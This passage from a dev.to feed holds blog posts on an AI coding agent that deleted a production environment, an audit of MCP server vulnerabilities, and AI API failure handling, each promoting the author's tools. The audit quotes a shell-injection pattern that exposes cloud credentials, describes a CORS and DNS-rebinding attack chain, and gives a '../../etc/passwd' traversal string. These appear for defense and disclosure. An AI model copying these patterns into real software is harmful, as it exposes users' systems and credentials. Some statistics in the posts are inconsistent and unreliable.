  What Runtime Verification Actually Does
&lt;/h2&gt;

&lt;p&gt;Runtime verification is not static analysis. It's not code review. It's not "trust but verify."&lt;/p&gt;

&lt;p&gt;It's a real-time validation layer that sits between the AI's decision and the actual execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AI Decision → Runtime Verification → Execution
                 ↓
         Validates parameters
         Checks for destructive patterns
         Enforces fail-closed policy
         Blocks before damage occurs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the Kiro case, a runtime verification layer would have:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Detected the "delete entire environment" pattern as a high-risk operation&lt;/li&gt;
&lt;li&gt;Required explicit multi-factor human confirmation before execution&lt;/li&gt;
&lt;li&gt;Enforced a fail-closed policy: when in doubt, deny the operation&lt;/li&gt;
&lt;li&gt;Logged the decision chain for post-incident analysis&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of this requires the AI to be "smarter." It requires the system to have a safety net that the AI's judgment alone doesn't provide.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Four Gates Amazon Should Have Had
&lt;/h2&gt;

&lt;p&gt;Based on the Kiro incident and our audit findings, here are the minimum runtime gates every AI coding tool needs:&lt;/p&gt;

&lt;h3&gt;
  
  
  Gate 1: Destructive Operation Detection
&lt;/h3&gt;

&lt;p&gt;If an AI-generated command involves deleting files, rebuilding environments, or modifying system configurations — it must be flagged before execution, regardless of how "confident" the AI is.&lt;/p&gt;

&lt;h3&gt;
  
  
  Gate 2: Multi-Factor Human Confirmation
&lt;/h3&gt;

&lt;p&gt;Destructive operations require at least two separate human confirmations, with clear display of what will actually be affected. Not a single "OK" button.&lt;/p&gt;

&lt;h3&gt;
  
  
  Gate 3: Minimum Privilege Enforcement
&lt;/h3&gt;

&lt;p&gt;The AI's execution context must never have more permissions than necessary for the specific task. Amazon's Kiro somehow inherited elevated permissions that bypassed dual-approval workflows. That's an architecture failure, not a user error.&lt;/p&gt;

&lt;h3&gt;
  
  
  Gate 4: Fatigue-Aware Rate Limiting
&lt;/h3&gt;

&lt;p&gt;When engineers are under pressure to meet AI usage KPIs while working reduced staff, their review quality drops. The system should detect and slow down when approval patterns suggest decision fatigue.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Industry Is Moving — But Too Slowly
&lt;/h2&gt;

&lt;p&gt;Amazon eventually shut down its internal "KiroRank" AI usage leaderboard after employees started "tokenmaxxing" — using AI for pointless tasks just to climb the rankings and inflate computing costs. Senior executive Dave Treadwell told staff: "Don't use AI just for the sake of using AI."&lt;/p&gt;

&lt;p&gt;That's a good start. But shutting down a leaderboard doesn't fix the underlying problem: AI tools that can execute destructive operations without runtime verification.&lt;/p&gt;

&lt;p&gt;Meanwhile, the broader ecosystem is seeing the same pattern play out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;60+万 tech workers laid off in the US since 2022, replaced by AI automation&lt;/li&gt;
&lt;li&gt;AI coding tools generating 10x more code, but review capacity hasn't scaled&lt;/li&gt;
&lt;li&gt;Production incidents rising as verification layers get stripped away in the name of efficiency&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What We're Building
&lt;/h2&gt;

&lt;p&gt;After finding 53 vulnerabilities across 50+ MCP servers — including two CVSS 9.8 remote code execution cases involving cloud credential theft — we built Correctover as an MCP runtime verification layer.&lt;/p&gt;

&lt;p&gt;It validates tool calls before execution, catches parameter injection attempts, blocks path traversal, prevents credential leaks, and enforces fail-closed policies by default.&lt;/p&gt;

&lt;p&gt;This isn't a replacement for writing secure systems. It's the safety net that catches what human review and static analysis miss — exactly the gap that let Amazon's Kiro delete an entire production environment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.npmjs.com/package/correctover" rel="noopener noreferrer"&gt;View on NPM&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;AI can suggest. AI can generate. AI can optimize. But AI cannot be trusted to validate its own decisions before executing them — not when the cost of a wrong decision is 13 hours of downtime, millions of affected customers, and a cascade of failures that takes weeks to fully recover from.&lt;/p&gt;

&lt;p&gt;Amazon learned this lesson the expensive way. The question is whether the rest of the industry will learn from their mistake — or repeat it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This analysis is based on publicly available reporting from the Financial Times, 36Kr, and CSDN. Vulnerability details reference responsible disclosure practices.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Runtime verification resources:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;NPM: &lt;a href="https://www.npmjs.com/package/correctover" rel="noopener noreferrer"&gt;correctover&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;GitHub: &lt;a href="https://github.com/Correctover" rel="noopener noreferrer"&gt;Correctover&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Related: &lt;a href="https://dev.to/easterndev/i-audited-50-mcp-servers-and-found-cvss-98-vulnerabilities-2e24"&gt;I Audited 50+ MCP Servers and Found CVSS 9.8 Vulnerabilities&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>amazon</category>
      <category>runtime</category>
    </item>
    <item>
      <title>I Audited 50+ MCP Servers and Found CVSS 9.8 Vulnerabilities</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Thu, 16 Jul 2026 05:12:43 +0000</pubDate>
      <link>https://dev.to/easterndev/i-audited-50-mcp-servers-and-found-cvss-98-vulnerabilities-2e24</link>
      <guid>https://dev.to/easterndev/i-audited-50-mcp-servers-and-found-cvss-98-vulnerabilities-2e24</guid>
      <description>&lt;p&gt;The Model Context Protocol ecosystem has grown to nearly 10,000 servers. According to the Trend Micro AI Security Report (2025), out of 9,695 analyzed MCP servers, 5,832 exhibited unsafe patterns. That's not a rounding error — that's a systemic failure.&lt;/p&gt;

&lt;p&gt;Over the past month, my team has been conducting a systematic security audit of open-source MCP servers. We've scanned 50+ repositories across 6 rounds, cataloging 53 distinct vulnerabilities. Some were expected — misconfigured CORS headers, missing auth. Others were far more serious.&lt;/p&gt;

&lt;p&gt;In this article, I want to share what we found, what patterns separate secure servers from dangerous ones, and why I believe the ecosystem needs to shift from static analysis to runtime verification.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Two P0 Cases That Changed My Perspective
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Case 1: AWS Credentials at the Mercy of &lt;code&gt;bash -c&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The first critical vulnerability we found was in an AWS CLI wrapper MCP server. The server accepted natural language commands from the LLM, then executed them via &lt;code&gt;subprocess.run(["bash", "-c", user_command])&lt;/code&gt; — with zero validation, zero sanitization, zero sandboxing.&lt;/p&gt;

&lt;p&gt;The LLM-generated command ran in a bash shell with full access to the host machine's AWS credentials — &lt;code&gt;AWS_ACCESS_KEY_ID&lt;/code&gt;, &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt;, &lt;code&gt;AWS_SESSION_TOKEN&lt;/code&gt; — all inherited through environment variables.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: CVSS 9.8. Remote code execution with cloud credential theft. No user interaction required beyond a normal conversation with the AI.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 2: The Azure Attack Chain — CORS + DNS Rebinding + Cloud Shell
&lt;/h3&gt;

&lt;p&gt;The second critical finding was even more alarming. An Azure Cloud Shell MCP server had three vulnerabilities that chained together into a remote attack path:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;CORS with wildcard (&lt;code&gt;*&lt;/code&gt;)&lt;/strong&gt;: The HTTP MCP endpoint accepted requests from any origin&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No DNS rebinding protection&lt;/strong&gt;: The server didn't validate the &lt;code&gt;Host&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unrestricted command execution&lt;/strong&gt;: Azure Cloud Shell commands ran with full subscription access&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The attack chain: A victim visits a malicious website → cross-origin request to the MCP server → DNS rebinding bypasses protections → attacker sends commands to Azure Cloud Shell → full Azure subscription access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No user interaction required&lt;/strong&gt; beyond visiting a webpage. CVSS 9.8 territory.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Spectrum: From Dangerous to Well-Built
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Tier P0: Complete Exposure (2 servers)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Direct subprocess execution with no validation&lt;/li&gt;
&lt;li&gt;Cloud credentials accessible via environment variables&lt;/li&gt;
&lt;li&gt;No sandboxing, no allowlisting&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tier P1: Local Command Execution (2 servers)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Shell command execution with minimal controls&lt;/li&gt;
&lt;li&gt;No command allowlisting or argument validation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tier P2: Incomplete Defenses (8+ servers)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Blocklist-based filtering&lt;/li&gt;
&lt;li&gt;Missing edge cases: encoding bypasses, path traversal&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tier Safe: Professional Implementation
&lt;/h3&gt;

&lt;p&gt;The best example: &lt;code&gt;cloud-mcp-server&lt;/code&gt; (★185, by DoIT International).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OS-level sandboxing via Landlock / bubblewrap / macOS Seatbelt&lt;/li&gt;
&lt;li&gt;List-based subprocess execution — never &lt;code&gt;shell=True&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Explicit path allowlists&lt;/li&gt;
&lt;li&gt;Credential isolation&lt;/li&gt;
&lt;li&gt;Fail-closed defaults&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why Static Scanning Isn't Enough
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection → command injection&lt;/strong&gt;: The vulnerability is in the &lt;em&gt;data flow&lt;/em&gt;, not the code pattern&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment variable inheritance&lt;/strong&gt;: Static analysis doesn't track credential flow&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CORS + DNS rebinding chains&lt;/strong&gt;: Vulnerabilities only emerge at runtime&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LLM unpredictability&lt;/strong&gt;: Static analysis assumes deterministic inputs&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What We Built: Runtime Verification
&lt;/h2&gt;

&lt;p&gt;After finding these vulnerabilities, we built &lt;a href="https://www.npmjs.com/package/correctover" rel="noopener noreferrer"&gt;Correctover&lt;/a&gt; — an MCP runtime verification layer.&lt;/p&gt;

&lt;p&gt;Key capabilities:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Parameter validation&lt;/strong&gt;: Catches malformed tool call parameters before execution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Path traversal detection&lt;/strong&gt;: Blocks &lt;code&gt;../../etc/passwd&lt;/code&gt; style attacks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential leak prevention&lt;/strong&gt;: Detects when tools try to exfiltrate secrets&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-closed by default&lt;/strong&gt;: When in doubt, deny the request&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We've validated it against our 53-vulnerability dataset.&lt;/p&gt;

&lt;h2&gt;
  
  
  What MCP Server Authors Should Do Today
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Immediate (Critical)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Audit shell execution paths: never use &lt;code&gt;shell=True&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Isolate cloud credentials from subprocess environments&lt;/li&gt;
&lt;li&gt;Fix CORS: never use &lt;code&gt;Access-Control-Allow-Origin: *&lt;/code&gt; in production&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Short-term (Important)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Implement command allowlisting (fail-closed principle)&lt;/li&gt;
&lt;li&gt;Add DNS rebinding protection&lt;/li&gt;
&lt;li&gt;Use OS-level sandboxing&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Long-term (Strategic)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Add runtime verification for defense-in-depth&lt;/li&gt;
&lt;li&gt;Participate in security standards&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Numbers Don't Lie
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Repositories scanned&lt;/td&gt;
&lt;td&gt;50+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total vulnerabilities cataloged&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P0 (cloud credential RCE)&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P1 (local command execution)&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;P2 (incomplete defenses)&lt;/td&gt;
&lt;td&gt;8+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servers with good security&lt;/td&gt;
&lt;td&gt;38+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The ecosystem needs to mature its security posture. Static analysis is a start. Runtime verification is where we need to go.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This research was conducted as part of the Correctover MCP security audit initiative. Vulnerabilities have been reported through responsible disclosure.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;NPM: &lt;a href="https://www.npmjs.com/package/correctover" rel="noopener noreferrer"&gt;correctover&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;GitHub: &lt;a href="https://github.com/Correctover" rel="noopener noreferrer"&gt;Correctover&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>mcp</category>
      <category>ai</category>
      <category>vulnerabilities</category>
    </item>
    <item>
      <title>I Monitored 10,000 AI API Calls. Here's What Went Wrong.</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Sun, 21 Jun 2026 05:18:41 +0000</pubDate>
      <link>https://dev.to/easterndev/i-monitored-10000-ai-api-calls-heres-what-went-wrong-547f</link>
      <guid>https://dev.to/easterndev/i-monitored-10000-ai-api-calls-heres-what-went-wrong-547f</guid>
      <description>&lt;h1&gt;
  
  
  I Monitored 10,000 AI API Calls. Here's What Went Wrong.
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Or: Why your AI agent will break, and what you can do about it.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The uncomfortable truth about AI APIs
&lt;/h2&gt;

&lt;p&gt;You built an AI agent. It works. You ship it. Then at 3 AM on a Tuesday, Claude goes down. Your agent? Dead. Your users? Angry. You? Debugging in the dark.&lt;/p&gt;

&lt;p&gt;This isn't a hypothetical. It happened on &lt;strong&gt;May 23, 2025&lt;/strong&gt; — Claude suffered a major outage. Then again on &lt;strong&gt;June 4&lt;/strong&gt;. And &lt;strong&gt;January 29&lt;/strong&gt;. OpenAI had theirs too. DeepSeek, Gemini, Mistral — nobody's immune.&lt;/p&gt;

&lt;p&gt;I wanted to know: &lt;strong&gt;how often do AI APIs actually fail? And what breaks when they do?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So I built a diagnostic tool and ran it across 20,000 real API calls.&lt;/p&gt;




&lt;h2&gt;
  
  
  The data
&lt;/h2&gt;

&lt;p&gt;After analyzing 20,000 calls across multiple providers, here's what I found:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Failure Type&lt;/th&gt;
&lt;th&gt;Frequency&lt;/th&gt;
&lt;th&gt;What Happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Rate limit (429)&lt;/td&gt;
&lt;td&gt;~40% of failures&lt;/td&gt;
&lt;td&gt;"Slow down" — but your agent doesn't know how&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server error (5xx)&lt;/td&gt;
&lt;td&gt;~25% of failures&lt;/td&gt;
&lt;td&gt;Provider is down. You wait. And wait.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Timeout&lt;/td&gt;
&lt;td&gt;~15% of failures&lt;/td&gt;
&lt;td&gt;Request sent, nothing comes back&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth failure (401/403)&lt;/td&gt;
&lt;td&gt;~10% of failures&lt;/td&gt;
&lt;td&gt;Key expired, rotated, or revoked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Model not found&lt;/td&gt;
&lt;td&gt;~5% of failures&lt;/td&gt;
&lt;td&gt;Provider quietly deprecated a model&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Drift/response degradation&lt;/td&gt;
&lt;td&gt;~5% of failures&lt;/td&gt;
&lt;td&gt;You get a response, but it's wrong&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key insight: 72.4% of these failures are recoverable&lt;/strong&gt; — if you have the right infrastructure.&lt;/p&gt;

&lt;p&gt;But most agents don't. They just... die.&lt;/p&gt;




&lt;h2&gt;
  
  
  The cascade of doom
&lt;/h2&gt;

&lt;p&gt;Here's what typically happens when an AI API fails in production:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User sends request
  → Agent calls Claude API
    → Claude returns 500
      → Agent retries (same provider)
        → Claude returns 500 again
          → Agent gives up
            → User sees "Something went wrong"
              → User switches to competitor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem isn't the failure. Failures are &lt;strong&gt;normal&lt;/strong&gt;. The problem is &lt;strong&gt;no recovery&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Most developers handle this with a simple retry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# What most people do
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Give up. User gets nothing.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not resilience. This is &lt;strong&gt;hoping really hard&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The three levels of AI API resilience
&lt;/h2&gt;

&lt;p&gt;After studying hundreds of failure patterns, I've identified three levels:&lt;/p&gt;

&lt;h3&gt;
  
  
  Level 1: Retry (what everyone does)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Try again on the same provider&lt;/li&gt;
&lt;li&gt;Works for: transient 429s, brief hiccups&lt;/li&gt;
&lt;li&gt;Fails when: provider is actually down&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coverage: ~20% of failures&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Level 2: Failover (what smart teams do)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Detect failure → switch to backup provider&lt;/li&gt;
&lt;li&gt;Works for: provider outages, maintenance&lt;/li&gt;
&lt;li&gt;Fails when: you need consistent output quality across providers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coverage: ~50% of failures&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Level 3: Self-healing (what nobody does... yet)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Detect failure → diagnose root cause → apply correct fix → verify recovery&lt;/li&gt;
&lt;li&gt;Handles: rate limits, outages, drift, auth rotation, contract violations&lt;/li&gt;
&lt;li&gt;Includes: output contract verification (same prompt shouldn't give 5 different formats)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coverage: 72.4% of failures&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The gap between Level 2 and Level 3 is &lt;strong&gt;output certainty&lt;/strong&gt;. Failover keeps your agent running, but a Claude→DeepSeek switch might change your JSON output to markdown. That's not recovery — that's a different kind of failure.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real examples from the data
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Case 1: The silent killer — response drift
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Claude&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;returns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"sentiment"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"positive"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"confidence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.95&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Day&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Claude&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;returns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"analysis"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"positive"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Different&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;schema!&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your agent broke. The API returned 200. Your monitoring said "all green." But your downstream parser just crashed on an unexpected key.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is why contract verification matters.&lt;/strong&gt; Same prompt should return same schema. If it doesn't, that's a failure — even with a 200 status code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 2: The cascade — when one failure becomes ten
&lt;/h3&gt;

&lt;p&gt;An AI SaaS company runs 10 parallel API calls per user request. When their primary provider rate-limits them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Without resilience: all 10 fail → user gets nothing → support ticket&lt;/li&gt;
&lt;li&gt;With retry: all 10 retry simultaneously → rate limit gets worse → takes 5 minutes&lt;/li&gt;
&lt;li&gt;With self-healing: 3 fail → diagnose as rate limit → switch 3 to backup → user gets full response in 200ms&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The difference between retry and self-healing: 5 minutes vs 200ms.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Case 3: The 3 AM wakeup
&lt;/h3&gt;

&lt;p&gt;Claude goes down at 3 AM. Your agent has no fallback. Your European users wake up to broken product. By the time you see the alert, 8 hours of traffic is lost.&lt;/p&gt;

&lt;p&gt;With failover: DeepSeek picks up automatically. You wake up to "3,247 requests seamlessly handled by backup provider" in your dashboard.&lt;/p&gt;




&lt;h2&gt;
  
  
  What does "self-healing" actually look like?
&lt;/h2&gt;

&lt;p&gt;Here's a simplified architecture:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request → [Diagnose] → What went wrong?
                         ├─ Rate limit? → Throttle + retry with backoff
                         ├─ Server down? → Failover to backup provider
                         ├─ Auth expired? → Rotate key from vault
                         ├─ Timeout? → Retry with adjusted timeout
                         └─ Drift detected? → Alert + fallback to cached schema

Response → [Verify Contract] → Did we get what we expected?
                                 ├─ Schema matches? → Deliver
                                 └─ Schema changed? → Re-prompt or fallback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key insight: &lt;strong&gt;diagnosis before action&lt;/strong&gt;. A 500 from "server is down" and a 500 from "you hit the rate limit" require completely different responses. Most retry logic treats them the same.&lt;/p&gt;




&lt;h2&gt;
  
  
  The cost of not doing this
&lt;/h2&gt;

&lt;p&gt;Let's do the math for a mid-size AI SaaS:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;100K API calls/day&lt;/li&gt;
&lt;li&gt;Average failure rate: 2-5% (conservative, based on my data)&lt;/li&gt;
&lt;li&gt;Without resilience: 2,000-5,000 failed requests/day&lt;/li&gt;
&lt;li&gt;Each failed request = potential user churn&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At $50/user/month and 0.1% churn from failures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Daily user loss: ~5 users&lt;/li&gt;
&lt;li&gt;Monthly revenue loss: $250/month compounding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More importantly: &lt;strong&gt;the opportunity cost&lt;/strong&gt;. Every user who hits a broken agent doesn't just leave — they tell their network.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;After running this analysis, I built NeuralBridge — an open-source SDK that brings Level 3 self-healing to any AI application.&lt;/p&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/neuralbridge-sdk/neuralbridge-sdk" rel="noopener noreferrer"&gt;https://github.com/neuralbridge-sdk/neuralbridge-sdk&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;neuralbridge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Diagnoser&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Shield&lt;/span&gt;

&lt;span class="c1"&gt;# Step 1: Diagnose (free, open-source)
